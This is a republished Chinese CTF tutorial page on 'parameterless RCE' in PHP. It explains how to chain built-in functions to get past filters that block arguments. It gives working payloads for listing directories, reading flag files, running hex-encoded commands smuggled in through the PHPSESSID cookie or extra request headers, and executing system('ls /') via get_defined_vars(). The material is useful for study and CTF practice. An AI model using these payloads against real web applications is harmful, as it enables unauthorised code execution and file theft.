欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 艺术 > 无参数RCE

无参数RCE

2025/4/16 6:17:32 来源:https://blog.csdn.net/m0_70438443/article/details/147259683  浏览:    关键词:无参数RCE

无参数RCE(Remote Code Execution,远程代码执行)

是一种通过利用目标系统中的漏洞,在不直接传递用户可控参数的情况下,实现远程执行任意代码的攻击技术。与传统的RCE攻击不同,无参数RCE不依赖外部输入参数(如GET、POST请求中的数据),而是通过目标系统本身的功能、配置或环境变量触发漏洞执行恶意代码。

无参数RCE题目特征

正则表达式 [^\W]+\) 匹配了一个或多个非标点符号字符

就拿TGCTF来说

这个过滤了几乎所有的字符,符合无参数RCE

无参数RCE相关函数简要介绍 

1. 目录与文件操作

  • scandir()
    列出指定目录中的文件和目录,返回数组。

    • 示例:scandir('.') 列出当前目录。
    • 配合 current()next() 等函数可遍历文件。
  • chdir()
    改变当前工作目录。

    • 示例:chdir('..') 切换到上级目录。
  • dirname()
    返回路径中的目录部分。

    • 示例:dirname('/var/www/html') 返回 /var/www
  • getcwd()
    获取当前工作目录。

  • highlight_file()
    输出文件的语法高亮内容,等价于读取文件。

    • 示例:highlight_file('index.php')
  • readfile()
    输出文件内容。

    • 示例:readfile('flag.php')
  • file_get_contents()
    将文件内容读取为字符串。


2. 数组操作

  • current()
    返回数组中的当前元素(默认第一个)。

    • 示例:current(['a', 'b', 'c']) 返回 'a'
  • next()
    将数组内部指针向前移动一位并返回当前元素。

    • 示例:next(['a', 'b', 'c']) 返回 'b'
  • prev()
    将数组内部指针向后移动一位并返回当前元素。

  • end()
    将指针移动到数组末尾并返回最后一个元素。

  • reset()
    将指针重置到数组开头。

  • array_reverse()
    反转数组顺序。

    • 示例:array_reverse([1, 2, 3]) 返回 [3, 2, 1]
  • array_rand()
    从数组中随机返回一个或多个键名。

    • 示例:array_rand(['a' => 1, 'b' => 2]) 返回 'a' 或 'b'
  • array_flip()
    交换数组的键和值。

    • 示例:array_flip(['a' => 1, 'b' => 2]) 返回 [1 => 'a', 2 => 'b']

3. 环境与会话

  • get_defined_vars()
    返回所有已定义变量的数组(包括 $_GET$_POST 等)。
    • 示例:get_defined_vars()['_GET']['cmd'] 可获取 cmd 参数。
  • session_id()
    获取或设置当前会话 ID。
    • 配合 session_start() 和 $_COOKIE['PHPSESSID'] 可实现代码注入。
  • getenv()
    获取环境变量值。
    • 示例:getenv('PATH')

4. 字符串与时间

  • localeconv()
    返回包含本地数字及货币格式信息的数组,第一项为 '.'(当前目录)。

    • 示例:current(localeconv()) 返回 '.'
  • strrev()
    反转字符串。

    • 示例:strrev('12345') 返回 '54321'
  • time()
    返回当前时间戳。

  • chr()
    返回指定 ASCII 码的字符。

    • 示例:chr(46) 返回 '.'

5. 特殊函数

  • eval()
    执行字符串作为 PHP 代码(危险,慎用)。

    • 示例:eval('echo "hello";')
  • assert()
    评估字符串作为 PHP 代码(与 eval() 类似)。

  • preg_replace()
    执行正则表达式搜索和替换,可能被用于 RCE。

    • 示例:preg_replace('/pattern/', 'replacement', $subject)

举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:

?参数=var_dump(scandir(current(localeconv())));

方法一:scandir()需要修改PHPSESSION

简单分析一下payload

highligth_file(next(array_reverse(scandir(current(localeconv())))));

接下来逐个解析,1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的

2、 利用current()函数将这个点取出来的,‘.’代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux中的ls指令

3、既然current()取第一个值,那么current(localeconv())构造一个‘.’,而'.' 表示当前目录,scandir('.') 将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php

4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二

5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数

6、最后用highlight_file()返回文件内容

方法二:session_id()

 使用条件:当请求头中有cookie时

 首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西

法一:hex2bin()

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

例子:?参数=eval(hex2bin(session_id(session_start())));

或者可以分开用:

?参数=session_start();system(hex2bin(session_id()));

法二:读文件

如果已知文件名,把文件名写在PHPSESSID后面,

可以构造payload:readfile(session_id(session_start()));

方法三:getallheaders()

getallheaders()返回当前请求的所有请求头信息

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

var_dump(end(getallheaders()));

方法四:get_defined_vars()

相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,

返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES

首先确认是否有回显:

print_r(get_defined_vars());

假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

a=eval(end(current(get_defined_vars())));&b=system('ls /');

把eval换成assert也行 ,能执行system('ls /')就行

*方法五:chdir()&array_rand()赌狗读文件

实在无法rce,可以考虑目录遍历进行文件读取

利用getcwd()获取当前目录:

var_dump(getcwd());

结合dirname()列出当前工作目录的父目录中的所有文件和目录:

var_dump(scandir(dirname(getcwd())));

读上一级文件名:

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

读根目录:

ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录

?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

要用chdir()固定,payload:

 ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

通过bp的intruder模块来读到根目录

部分摘自无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词